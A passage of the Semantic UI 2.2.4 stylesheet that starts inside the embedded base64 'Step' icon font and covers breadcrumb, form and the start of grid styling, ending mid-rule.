SiiLgIs5A2owg7I5uSOqOaiT2jmZE8I5gQY17C/09BQEfg3yt+fh8gvYQxD0j68DOJiQn8U+DnZxQDcQUEljLmCwBpBgbG/3//b2SOZ+Zm4GEQcuAH2sblDLSEm8FFVJhJEGgLH6OSHpMdo5EcI3Nk0bEXJ/LYqvZ82VXHGFd6pKTkyCsQwQAAq+QkqAAAeJxjYGRgYADiw5VSsfH8Nl8ZuJlfAEUYzpvO6IXQCb7///7fyLyEmRvI5WBgAokCAFb/DJAAAAB4nGNgZGBgDvqfxRDF/IKB4f935iUMQBEUwAwAi5YFpgPoAAAD6AAAA1kAAAAAAAAAOABbAAEAAAADABYAAQAAAAAAAgAGABMAbgAAAC0JkQAAAAB4nHWQy2rCQBSG//HSi0JbWui2sypKabxgN4IgWHTTbqS4LTHGJBIzMhkFX6Pv0IfpS/RZ+puMpShNmMx3vjlz5mQAXOMbAvnzxJGzwBmjnAs4Rc9ykf7Zcon8YrmMKt4sn9C/W67gAYHlKm7wwQqidM5ogU/LAlfi0nIBF+LOcpH+0XKJ3LNcxq14tXxC71muYCJSy1Xci6+BWm11FIRG1gZ12W62OnK6lYoqStxYumsTKp3KvpyrxPhxrBxPLfc89oN17Op9uJ8nvk4jlciW09yrkZ/42jX+bFc93QRtY+ZyrtVSDm2GXGm18D3jhMasuo3G3/MwgMIKW2hEvKoQBhI12jrnNppooUOaMkMyM8+KkMBFTONizR1htpIy7nPMGSW0PjNisgOP3+WRH5MC7o9ZRR+tHsYT0u6MKPOSfTns7jBrREqyTDezs9/eU2x4WpvWcNeuS511JTE8qCF5H7u1BY1H72S3Ymi7aPD95/9+AN1fhEsAeJxjYGKAAC4G7ICZgYGRiZGZMzkjNTk7N7Eomy05syg5J5WBAQBE1QZBAABLuADIUlixAQGOWbkIAAgAYyCwASNEsAMjcLIEKAlFUkSyCgIHKrEGAUSxJAGIUViwQIhYsQYDRLEmAYhRWLgEAIhYsQYBRFlZWVm4Af+FsASNsQUARAAA) format('woff');
}

.ui.steps .step.completed > .icon:before,
.ui.ordered.steps .step.completed:before {
  font-family: 'Step';
  content: '\e800';
  /* '' */
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Breadcrumb
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           Breadcrumb
*******************************/

.ui.breadcrumb {
  line-height: 1;
  display: inline-block;
  margin: 0em 0em;
  vertical-align: middle;
}

.ui.breadcrumb:first-child {
  margin-top: 0em;
}

.ui.breadcrumb:last-child {
  margin-bottom: 0em;
}

/*******************************
          Content
*******************************/

/* Divider */

.ui.breadcrumb .divider {
  display: inline-block;
  opacity: 0.7;
  margin: 0em 0.21428571rem 0em;
  font-size: 0.92857143em;
  color: rgba(0, 0, 0, 0.4);
  vertical-align: baseline;
}

/* Link */

.ui.breadcrumb a {
  color: #4183C4;
}

.ui.breadcrumb a:hover {
  color: #1e70bf;
}

/* Icon Divider */

.ui.breadcrumb .icon.divider {
  font-size: 0.85714286em;
  vertical-align: baseline;
}

/* Section */

.ui.breadcrumb a.section {
  cursor: pointer;
}

.ui.breadcrumb .section {
  display: inline-block;
  margin: 0em;
  padding: 0em;
}

/* Loose Coupling */

.ui.breadcrumb.segment {
  display: inline-block;
  padding: 0.78571429em 1em;
}

/*******************************
            States
*******************************/

.ui.breadcrumb .active.section {
  font-weight: bold;
}

/*******************************
           Variations
*******************************/

.ui.mini.breadcrumb {
  font-size: 0.78571429rem;
}

.ui.tiny.breadcrumb {
  font-size: 0.85714286rem;
}

.ui.small.breadcrumb {
  font-size: 0.92857143rem;
}

.ui.breadcrumb {
  font-size: 1rem;
}

.ui.large.breadcrumb {
  font-size: 1.14285714rem;
}

.ui.big.breadcrumb {
  font-size: 1.28571429rem;
}

.ui.huge.breadcrumb {
  font-size: 1.42857143rem;
}

.ui.massive.breadcrumb {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Form
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Elements
*******************************/

/*--------------------
        Form
---------------------*/

.ui.form {
  position: relative;
  max-width: 100%;
}

/*--------------------
        Content
---------------------*/

.ui.form > p {
  margin: 1em 0em;
}

/*--------------------
        Field
---------------------*/

.ui.form .field {
  clear: both;
  margin: 0em 0em 1em;
}

.ui.form .field:last-child,
.ui.form .fields:last-child .field {
  margin-bottom: 0em;
}

.ui.form .fields .field {
  clear: both;
  margin: 0em;
}

/*--------------------
        Labels
---------------------*/

.ui.form .field > label {
  display: block;
  margin: 0em 0em 0.28571429rem 0em;
  color: rgba(0, 0, 0, 0.87);
  font-size: 0.92857143em;
  font-weight: bold;
  text-transform: none;
}

/*--------------------
    Standard Inputs
---------------------*/

.ui.form textarea,
.ui.form input:not([type]),
.ui.form input[type="date"],
.ui.form input[type="datetime-local"],
.ui.form input[type="email"],
.ui.form input[type="number"],
.ui.form input[type="password"],
.ui.form input[type="search"],
.ui.form input[type="tel"],
.ui.form input[type="time"],
.ui.form input[type="text"],
.ui.form input[type="file"],
.ui.form input[type="url"] {
  width: 100%;
  vertical-align: top;
}

/* Set max height on unusual input */

.ui.form ::-webkit-datetime-edit,
.ui.form ::-webkit-inner-spin-button {
  height: 1.2142em;
}

.ui.form input:not([type]),
.ui.form input[type="date"],
.ui.form input[type="datetime-local"],
.ui.form input[type="email"],
.ui.form input[type="number"],
.ui.form input[type="password"],
.ui.form input[type="search"],
.ui.form input[type="tel"],
.ui.form input[type="time"],
.ui.form input[type="text"],
.ui.form input[type="file"],
.ui.form input[type="url"] {
  
  margin: 0em;
  outline: none;
  -webkit-appearance: none;
  tap-highlight-color: rgba(255, 255, 255, 0);
  line-height: 1.2142em;
  padding: 0.67861429em 1em;
  font-size: 1em;
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0.28571429rem;
  box-shadow: 0em 0em 0em 0em transparent inset;
  -webkit-transition: color 0.1s ease, border-color 0.1s ease;
  transition: color 0.1s ease, border-color 0.1s ease;
}

/* Text Area */

.ui.form textarea {
  margin: 0em;
  -webkit-appearance: none;
  tap-highlight-color: rgba(255, 255, 255, 0);
  padding: 0.78571429em 1em;
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  outline: none;
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0.28571429rem;
  box-shadow: 0em 0em 0em 0em transparent inset;
  -webkit-transition: color 0.1s ease, border-color 0.1s ease;
  transition: color 0.1s ease, border-color 0.1s ease;
  font-size: 1em;
  line-height: 1.2857;
  resize: vertical;
}

.ui.form textarea:not([rows]) {
  height: 12em;
  min-height: 8em;
  max-height: 24em;
}

.ui.form textarea,
.ui.form input[type="checkbox"] {
  vertical-align: top;
}

/*--------------------------
  Input w/ attached Button
---------------------------*/

.ui.form input.attached {
  width: auto;
}

/*--------------------
     Basic Select
---------------------*/

.ui.form select {
  display: block;
  height: auto;
  width: 100%;
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
  box-shadow: 0em 0em 0em 0em transparent inset;
  padding: 0.62em 1em;
  color: rgba(0, 0, 0, 0.87);
  -webkit-transition: color 0.1s ease, border-color 0.1s ease;
  transition: color 0.1s ease, border-color 0.1s ease;
}

/*--------------------
       Dropdown
---------------------*/

/* Block */

.ui.form .field > .selection.dropdown {
  width: 100%;
}

.ui.form .field > .selection.dropdown > .dropdown.icon {
  float: right;
}

/* Inline */

.ui.form .inline.fields .field > .selection.dropdown,
.ui.form .inline.field > .selection.dropdown {
  width: auto;
}

.ui.form .inline.fields .field > .selection.dropdown > .dropdown.icon,
.ui.form .inline.field > .selection.dropdown > .dropdown.icon {
  float: none;
}

/*--------------------
       UI Input
---------------------*/

/* Block */

.ui.form .field .ui.input,
.ui.form .fields .field .ui.input,
.ui.form .wide.field .ui.input {
  width: 100%;
}

/* Inline  */

.ui.form .inline.fields .field:not(.wide) .ui.input,
.ui.form .inline.field:not(.wide) .ui.input {
  width: auto;
  vertical-align: middle;
}

/* Auto Input */

.ui.form .fields .field .ui.input input,
.ui.form .field .ui.input input {
  width: auto;
}

/* Full Width Input */

.ui.form .ten.fields .ui.input input,
.ui.form .nine.fields .ui.input input,
.ui.form .eight.fields .ui.input input,
.ui.form .seven.fields .ui.input input,
.ui.form .six.fields .ui.input input,
.ui.form .five.fields .ui.input input,
.ui.form .four.fields .ui.input input,
.ui.form .three.fields .ui.input input,
.ui.form .two.fields .ui.input input,
.ui.form .wide.field .ui.input input {
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  width: 0px;
}

/*--------------------
   Types of Messages
---------------------*/

.ui.form .success.message,
.ui.form .warning.message,
.ui.form .error.message {
  display: none;
}

/* Assumptions */

.ui.form .message:first-child {
  margin-top: 0px;
}

/*--------------------
   Validation Prompt
---------------------*/

.ui.form .field .prompt.label {
  white-space: normal;
  background: #FFFFFF !important;
  border: 1px solid #E0B4B4 !important;
  color: #9F3A38 !important;
}

.ui.form .inline.fields .field .prompt,
.ui.form .inline.field .prompt {
  vertical-align: top;
  margin: -0.25em 0em -0.5em 0.5em;
}

.ui.form .inline.fields .field .prompt:before,
.ui.form .inline.field .prompt:before {
  border-width: 0px 0px 1px 1px;
  bottom: auto;
  right: auto;
  top: 50%;
  left: 0em;
}

/*******************************
            States
*******************************/

/*--------------------
      Autofilled
---------------------*/

.ui.form .field.field input:-webkit-autofill {
  box-shadow: 0px 0px 0px 100px #FFFFF0 inset !important;
  border-color: #E5DFA1 !important;
}

/* Focus */

.ui.form .field.field input:-webkit-autofill:focus {
  box-shadow: 0px 0px 0px 100px #FFFFF0 inset !important;
  border-color: #D5C315 !important;
}

/* Error */

.ui.form .error.error input:-webkit-autofill {
  box-shadow: 0px 0px 0px 100px #FFFAF0 inset !important;
  border-color: #E0B4B4 !important;
}

/*--------------------
      Placeholder
---------------------*/

/* browsers require these rules separate */

.ui.form ::-webkit-input-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

.ui.form :-ms-input-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

.ui.form ::-moz-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

.ui.form :focus::-webkit-input-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

.ui.form :focus:-ms-input-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

.ui.form :focus::-moz-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

/* Error Placeholder */

.ui.form .error ::-webkit-input-placeholder {
  color: #e7bdbc;
}

.ui.form .error :-ms-input-placeholder {
  color: #e7bdbc !important;
}

.ui.form .error ::-moz-placeholder {
  color: #e7bdbc;
}

.ui.form .error :focus::-webkit-input-placeholder {
  color: #da9796;
}

.ui.form .error :focus:-ms-input-placeholder {
  color: #da9796 !important;
}

.ui.form .error :focus::-moz-placeholder {
  color: #da9796;
}

/*--------------------
        Focus
---------------------*/

.ui.form input:not([type]):focus,
.ui.form input[type="date"]:focus,
.ui.form input[type="datetime-local"]:focus,
.ui.form input[type="email"]:focus,
.ui.form input[type="number"]:focus,
.ui.form input[type="password"]:focus,
.ui.form input[type="search"]:focus,
.ui.form input[type="tel"]:focus,
.ui.form input[type="time"]:focus,
.ui.form input[type="text"]:focus,
.ui.form input[type="file"]:focus,
.ui.form input[type="url"]:focus {
  color: rgba(0, 0, 0, 0.95);
  border-color: #85B7D9;
  border-radius: 0.28571429rem;
  background: #FFFFFF;
  box-shadow: 0px 0em 0em 0em rgba(34, 36, 38, 0.35) inset;
}

.ui.form textarea:focus {
  color: rgba(0, 0, 0, 0.95);
  border-color: #85B7D9;
  border-radius: 0.28571429rem;
  background: #FFFFFF;
  box-shadow: 0px 0em 0em 0em rgba(34, 36, 38, 0.35) inset;
  -webkit-appearance: none;
}

/*--------------------
        Success
---------------------*/

/* On Form */

.ui.form.success .success.message:not(:empty) {
  display: block;
}

.ui.form.success .compact.success.message:not(:empty) {
  display: inline-block;
}

.ui.form.success .icon.success.message:not(:empty) {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

/*--------------------
        Warning
---------------------*/

/* On Form */

.ui.form.warning .warning.message:not(:empty) {
  display: block;
}

.ui.form.warning .compact.warning.message:not(:empty) {
  display: inline-block;
}

.ui.form.warning .icon.warning.message:not(:empty) {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

/*--------------------
        Error
---------------------*/

/* On Form */

.ui.form.error .error.message:not(:empty) {
  display: block;
}

.ui.form.error .compact.error.message:not(:empty) {
  display: inline-block;
}

.ui.form.error .icon.error.message:not(:empty) {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

/* On Field(s) */

.ui.form .fields.error .field label,
.ui.form .field.error label,
.ui.form .fields.error .field .input,
.ui.form .field.error .input {
  color: #9F3A38;
}

.ui.form .fields.error .field .corner.label,
.ui.form .field.error .corner.label {
  border-color: #9F3A38;
  color: #FFFFFF;
}

.ui.form .fields.error .field textarea,
.ui.form .fields.error .field select,
.ui.form .fields.error .field input:not([type]),
.ui.form .fields.error .field input[type="date"],
.ui.form .fields.error .field input[type="datetime-local"],
.ui.form .fields.error .field input[type="email"],
.ui.form .fields.error .field input[type="number"],
.ui.form .fields.error .field input[type="password"],
.ui.form .fields.error .field input[type="search"],
.ui.form .fields.error .field input[type="tel"],
.ui.form .fields.error .field input[type="time"],
.ui.form .fields.error .field input[type="text"],
.ui.form .fields.error .field input[type="file"],
.ui.form .fields.error .field input[type="url"],
.ui.form .field.error textarea,
.ui.form .field.error select,
.ui.form .field.error input:not([type]),
.ui.form .field.error input[type="date"],
.ui.form .field.error input[type="datetime-local"],
.ui.form .field.error input[type="email"],
.ui.form .field.error input[type="number"],
.ui.form .field.error input[type="password"],
.ui.form .field.error input[type="search"],
.ui.form .field.error input[type="tel"],
.ui.form .field.error input[type="time"],
.ui.form .field.error input[type="text"],
.ui.form .field.error input[type="file"],
.ui.form .field.error input[type="url"] {
  background: #FFF6F6;
  border-color: #E0B4B4;
  color: #9F3A38;
  border-radius: '';
  box-shadow: none;
}

.ui.form .field.error textarea:focus,
.ui.form .field.error select:focus,
.ui.form .field.error input:not([type]):focus,
.ui.form .field.error input[type="date"]:focus,
.ui.form .field.error input[type="datetime-local"]:focus,
.ui.form .field.error input[type="email"]:focus,
.ui.form .field.error input[type="number"]:focus,
.ui.form .field.error input[type="password"]:focus,
.ui.form .field.error input[type="search"]:focus,
.ui.form .field.error input[type="tel"]:focus,
.ui.form .field.error input[type="time"]:focus,
.ui.form .field.error input[type="text"]:focus,
.ui.form .field.error input[type="file"]:focus,
.ui.form .field.error input[type="url"]:focus {
  background: #FFF6F6;
  border-color: #E0B4B4;
  color: #9F3A38;
  -webkit-appearance: none;
  box-shadow: none;
}

/* Preserve Native Select Stylings */

.ui.form .field.error select {
  -webkit-appearance: menulist-button;
}

/*------------------
    Dropdown Error
--------------------*/

.ui.form .fields.error .field .ui.dropdown,
.ui.form .fields.error .field .ui.dropdown .item,
.ui.form .field.error .ui.dropdown,
.ui.form .field.error .ui.dropdown .text,
.ui.form .field.error .ui.dropdown .item {
  background: #FFF6F6;
  color: #9F3A38;
}

.ui.form .fields.error .field .ui.dropdown,
.ui.form .field.error .ui.dropdown {
  border-color: #E0B4B4 !important;
}

.ui.form .fields.error .field .ui.dropdown:hover,
.ui.form .field.error .ui.dropdown:hover {
  border-color: #E0B4B4 !important;
}

.ui.form .fields.error .field .ui.dropdown:hover .menu,
.ui.form .field.error .ui.dropdown:hover .menu {
  border-color: #E0B4B4;
}

.ui.form .fields.error .field .ui.multiple.selection.dropdown > .label,
.ui.form .field.error .ui.multiple.selection.dropdown > .label {
  background-color: #EACBCB;
  color: #9F3A38;
}

/* Hover */

.ui.form .fields.error .field .ui.dropdown .menu .item:hover,
.ui.form .field.error .ui.dropdown .menu .item:hover {
  background-color: #FBE7E7;
}

/* Selected */

.ui.form .fields.error .field .ui.dropdown .menu .selected.item,
.ui.form .field.error .ui.dropdown .menu .selected.item {
  background-color: #FBE7E7;
}

/* Active */

.ui.form .fields.error .field .ui.dropdown .menu .active.item,
.ui.form .field.error .ui.dropdown .menu .active.item {
  background-color: #FDCFCF !important;
}

/*--------------------
    Checkbox Error
---------------------*/

.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label,
.ui.form .field.error .checkbox:not(.toggle):not(.slider) label,
.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box,
.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box {
  color: #9F3A38;
}

.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label:before,
.ui.form .field.error .checkbox:not(.toggle):not(.slider) label:before,
.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box:before,
.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box:before {
  background: #FFF6F6;
  border-color: #E0B4B4;
}

.ui.form .fields.error .field .checkbox label:after,
.ui.form .field.error .checkbox label:after,
.ui.form .fields.error .field .checkbox .box:after,
.ui.form .field.error .checkbox .box:after {
  color: #9F3A38;
}

/*--------------------
       Disabled
---------------------*/

.ui.form .disabled.fields .field,
.ui.form .disabled.field,
.ui.form .field :disabled {
  pointer-events: none;
  opacity: 0.45;
}

.ui.form .field.disabled > label,
.ui.form .fields.disabled > label {
  opacity: 0.45;
}

.ui.form .field.disabled :disabled {
  opacity: 1;
}

/*--------------
    Loading
---------------*/

.ui.loading.form {
  position: relative;
  cursor: default;
  pointer-events: none;
}

.ui.loading.form:before {
  position: absolute;
  content: '';
  top: 0%;
  left: 0%;
  background: rgba(255, 255, 255, 0.8);
  width: 100%;
  height: 100%;
  z-index: 100;
}

.ui.loading.form:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -1.5em 0em 0em -1.5em;
  width: 3em;
  height: 3em;
  -webkit-animation: form-spin 0.6s linear;
  animation: form-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1);
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
  visibility: visible;
  z-index: 101;
}

@-webkit-keyframes form-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes form-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

/*******************************
         Element Types
*******************************/

/*--------------------
     Required Field
---------------------*/

.ui.form .required.fields:not(.grouped) > .field > label:after,
.ui.form .required.fields.grouped > label:after,
.ui.form .required.field > label:after,
.ui.form .required.fields:not(.grouped) > .field > .checkbox:after,
.ui.form .required.field > .checkbox:after {
  margin: -0.2em 0em 0em 0.2em;
  content: '*';
  color: #DB2828;
}

.ui.form .required.fields:not(.grouped) > .field > label:after,
.ui.form .required.fields.grouped > label:after,
.ui.form .required.field > label:after {
  display: inline-block;
  vertical-align: top;
}

.ui.form .required.fields:not(.grouped) > .field > .checkbox:after,
.ui.form .required.field > .checkbox:after {
  position: absolute;
  top: 0%;
  left: 100%;
}

/*******************************
           Variations
*******************************/

/*--------------------
    Inverted Colors
---------------------*/

.ui.inverted.form label,
.ui.form .inverted.segment label,
.ui.form .inverted.segment .ui.checkbox label,
.ui.form .inverted.segment .ui.checkbox .box,
.ui.inverted.form .ui.checkbox label,
.ui.inverted.form .ui.checkbox .box,
.ui.inverted.form .inline.fields > label,
.ui.inverted.form .inline.fields .field > label,
.ui.inverted.form .inline.fields .field > p,
.ui.inverted.form .inline.field > label,
.ui.inverted.form .inline.field > p {
  color: rgba(255, 255, 255, 0.9);
}

/* Inverted Field */

.ui.inverted.form input:not([type]),
.ui.inverted.form input[type="date"],
.ui.inverted.form input[type="datetime-local"],
.ui.inverted.form input[type="email"],
.ui.inverted.form input[type="number"],
.ui.inverted.form input[type="password"],
.ui.inverted.form input[type="search"],
.ui.inverted.form input[type="tel"],
.ui.inverted.form input[type="time"],
.ui.inverted.form input[type="text"],
.ui.inverted.form input[type="file"],
.ui.inverted.form input[type="url"] {
  background: #FFFFFF;
  border-color: rgba(255, 255, 255, 0.1);
  color: rgba(0, 0, 0, 0.87);
  box-shadow: none;
}

/*--------------------
     Field Groups
---------------------*/

/* Grouped Vertically */

.ui.form .grouped.fields {
  display: block;
  margin: 0em 0em 1em;
}

.ui.form .grouped.fields:last-child {
  margin-bottom: 0em;
}

.ui.form .grouped.fields > label {
  margin: 0em 0em 0.28571429rem 0em;
  color: rgba(0, 0, 0, 0.87);
  font-size: 0.92857143em;
  font-weight: bold;
  text-transform: none;
}

.ui.form .grouped.fields .field,
.ui.form .grouped.inline.fields .field {
  display: block;
  margin: 0.5em 0em;
  padding: 0em;
}

/*--------------------
        Fields
---------------------*/

/* Split fields */

.ui.form .fields {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  margin: 0em -0.5em 1em;
}

.ui.form .fields > .field {
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
  padding-left: 0.5em;
  padding-right: 0.5em;
}

.ui.form .fields > .field:first-child {
  border-left: none;
  box-shadow: none;
}

/* Other Combinations */

.ui.form .two.fields > .fields,
.ui.form .two.fields > .field {
  width: 50%;
}

.ui.form .three.fields > .fields,
.ui.form .three.fields > .field {
  width: 33.33333333%;
}

.ui.form .four.fields > .fields,
.ui.form .four.fields > .field {
  width: 25%;
}

.ui.form .five.fields > .fields,
.ui.form .five.fields > .field {
  width: 20%;
}

.ui.form .six.fields > .fields,
.ui.form .six.fields > .field {
  width: 16.66666667%;
}

.ui.form .seven.fields > .fields,
.ui.form .seven.fields > .field {
  width: 14.28571429%;
}

.ui.form .eight.fields > .fields,
.ui.form .eight.fields > .field {
  width: 12.5%;
}

.ui.form .nine.fields > .fields,
.ui.form .nine.fields > .field {
  width: 11.11111111%;
}

.ui.form .ten.fields > .fields,
.ui.form .ten.fields > .field {
  width: 10%;
}

/* Swap to full width on mobile */

@media only screen and (max-width: 767px) {
  .ui.form .fields {
    -webkit-flex-wrap: wrap;
    -ms-flex-wrap: wrap;
    flex-wrap: wrap;
  }

  .ui[class*="equal width"].form .fields > .field,
  .ui.form [class*="equal width"].fields > .field,
  .ui.form .two.fields > .fields,
  .ui.form .two.fields > .field,
  .ui.form .three.fields > .fields,
  .ui.form .three.fields > .field,
  .ui.form .four.fields > .fields,
  .ui.form .four.fields > .field,
  .ui.form .five.fields > .fields,
  .ui.form .five.fields > .field,
  .ui.form .six.fields > .fields,
  .ui.form .six.fields > .field,
  .ui.form .seven.fields > .fields,
  .ui.form .seven.fields > .field,
  .ui.form .eight.fields > .fields,
  .ui.form .eight.fields > .field,
  .ui.form .nine.fields > .fields,
  .ui.form .nine.fields > .field,
  .ui.form .ten.fields > .fields,
  .ui.form .ten.fields > .field {
    width: 100% !important;
    margin: 0em 0em 1em;
  }
}

/* Sizing Combinations */

.ui.form .fields .wide.field {
  width: 6.25%;
  padding-left: 0.5em;
  padding-right: 0.5em;
}

.ui.form .one.wide.field {
  width: 6.25% !important;
}

.ui.form .two.wide.field {
  width: 12.5% !important;
}

.ui.form .three.wide.field {
  width: 18.75% !important;
}

.ui.form .four.wide.field {
  width: 25% !important;
}

.ui.form .five.wide.field {
  width: 31.25% !important;
}

.ui.form .six.wide.field {
  width: 37.5% !important;
}

.ui.form .seven.wide.field {
  width: 43.75% !important;
}

.ui.form .eight.wide.field {
  width: 50% !important;
}

.ui.form .nine.wide.field {
  width: 56.25% !important;
}

.ui.form .ten.wide.field {
  width: 62.5% !important;
}

.ui.form .eleven.wide.field {
  width: 68.75% !important;
}

.ui.form .twelve.wide.field {
  width: 75% !important;
}

.ui.form .thirteen.wide.field {
  width: 81.25% !important;
}

.ui.form .fourteen.wide.field {
  width: 87.5% !important;
}

.ui.form .fifteen.wide.field {
  width: 93.75% !important;
}

.ui.form .sixteen.wide.field {
  width: 100% !important;
}

/* Swap to full width on mobile */

@media only screen and (max-width: 767px) {
  .ui.form .two.fields > .fields,
  .ui.form .two.fields > .field,
  .ui.form .three.fields > .fields,
  .ui.form .three.fields > .field,
  .ui.form .four.fields > .fields,
  .ui.form .four.fields > .field,
  .ui.form .five.fields > .fields,
  .ui.form .five.fields > .field,
  .ui.form .fields > .two.wide.field,
  .ui.form .fields > .three.wide.field,
  .ui.form .fields > .four.wide.field,
  .ui.form .fields > .five.wide.field,
  .ui.form .fields > .six.wide.field,
  .ui.form .fields > .seven.wide.field,
  .ui.form .fields > .eight.wide.field,
  .ui.form .fields > .nine.wide.field,
  .ui.form .fields > .ten.wide.field,
  .ui.form .fields > .eleven.wide.field,
  .ui.form .fields > .twelve.wide.field,
  .ui.form .fields > .thirteen.wide.field,
  .ui.form .fields > .fourteen.wide.field,
  .ui.form .fields > .fifteen.wide.field,
  .ui.form .fields > .sixteen.wide.field {
    width: 100% !important;
  }

  .ui.form .fields {
    margin-bottom: 0em;
  }
}

/*--------------------
     Equal Width
---------------------*/

.ui[class*="equal width"].form .fields > .field,
.ui.form [class*="equal width"].fields > .field {
  width: 100%;
  -webkit-box-flex: 1;
  -webkit-flex: 1 1 auto;
  -ms-flex: 1 1 auto;
  flex: 1 1 auto;
}

/*--------------------
    Inline Fields
---------------------*/

.ui.form .inline.fields {
  margin: 0em 0em 1em;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}

.ui.form .inline.fields .field {
  margin: 0em;
  padding: 0em 1em 0em 0em;
}

/* Inline Label */

.ui.form .inline.fields > label,
.ui.form .inline.fields .field > label,
.ui.form .inline.fields .field > p,
.ui.form .inline.field > label,
.ui.form .inline.field > p {
  display: inline-block;
  width: auto;
  margin-top: 0em;
  margin-bottom: 0em;
  vertical-align: baseline;
  font-size: 0.92857143em;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.87);
  text-transform: none;
}

/* Grouped Inline Label */

.ui.form .inline.fields > label {
  margin: 0.035714em 1em 0em 0em;
}

/* Inline Input */

.ui.form .inline.fields .field > input,
.ui.form .inline.fields .field > select,
.ui.form .inline.field > input,
.ui.form .inline.field > select {
  display: inline-block;
  width: auto;
  margin-top: 0em;
  margin-bottom: 0em;
  vertical-align: middle;
  font-size: 1em;
}

/* Label */

.ui.form .inline.fields .field > :first-child,
.ui.form .inline.field > :first-child {
  margin: 0em 0.85714286em 0em 0em;
}

.ui.form .inline.fields .field > :only-child,
.ui.form .inline.field > :only-child {
  margin: 0em;
}

/* Wide */

.ui.form .inline.fields .wide.field {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}

.ui.form .inline.fields .wide.field > input,
.ui.form .inline.fields .wide.field > select {
  width: 100%;
}

/*--------------------
        Sizes
---------------------*/

.ui.mini.form {
  font-size: 0.78571429rem;
}

.ui.tiny.form {
  font-size: 0.85714286rem;
}

.ui.small.form {
  font-size: 0.92857143rem;
}

.ui.form {
  font-size: 1rem;
}

.ui.large.form {
  font-size: 1.14285714rem;
}

.ui.big.form {
  font-size: 1.28571429rem;
}

.ui.huge.form {
  font-size: 1.42857143rem;
}

.ui.massive.form {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Grid
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Standard
*******************************/

.ui.grid {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  -webkit-box-align: stretch;
  -webkit-align-items: stretch;
  -ms-flex-align: stretch;
  align-items: stretch;
  padding: 0em;
}

/*----------------------
      Remove Gutters
-----------------------*/

.ui.grid {
  margin-top: -1rem;
  margin-bottom: -1rem;
  margin-left: -1rem;
  margin-right: -1rem;
}

.ui.relaxed.grid {
  margin-left: -1.5rem;
  margin-right: -1.5rem;
}

.ui[class*="very relaxed"].grid {
  margin-left: -2.5rem;
  margin-right: -2.5rem;
}

/* Preserve Rows Spacing on Consecutive Grids */

.ui.grid + .grid {
  margin-top: 1rem;
}

/*-------------------
       Columns
--------------------*/

/* Standard 16 column */

.ui.grid > .column:not(.row),
.ui.grid > .row > .column {
  position: relative;
  display: inline-block;
  width: 6.25%;
  padding-left: 1rem;
  padding-right: 1rem;
  vertical-align: top;
}

.ui.grid > * {
  padding-left: 1rem;
  padding-right: 1rem;
}

/*-------------------
        Rows
--------------------*/

.ui.grid > .row {
  position: relative;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
